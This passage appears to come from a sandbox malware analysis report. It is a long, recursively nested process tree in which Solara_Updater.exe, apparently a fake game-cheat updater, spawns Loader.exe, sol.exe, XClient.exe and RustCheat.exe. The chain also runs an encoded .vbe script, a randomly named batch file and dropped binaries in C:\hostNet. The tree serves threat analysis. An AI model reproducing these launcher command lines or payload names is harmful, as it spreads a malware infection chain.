                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          49⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  51⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              52⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              53⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:3040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          54⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3016
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      55⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2068
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  56⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              57⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        58⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            59⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                60⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  61⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
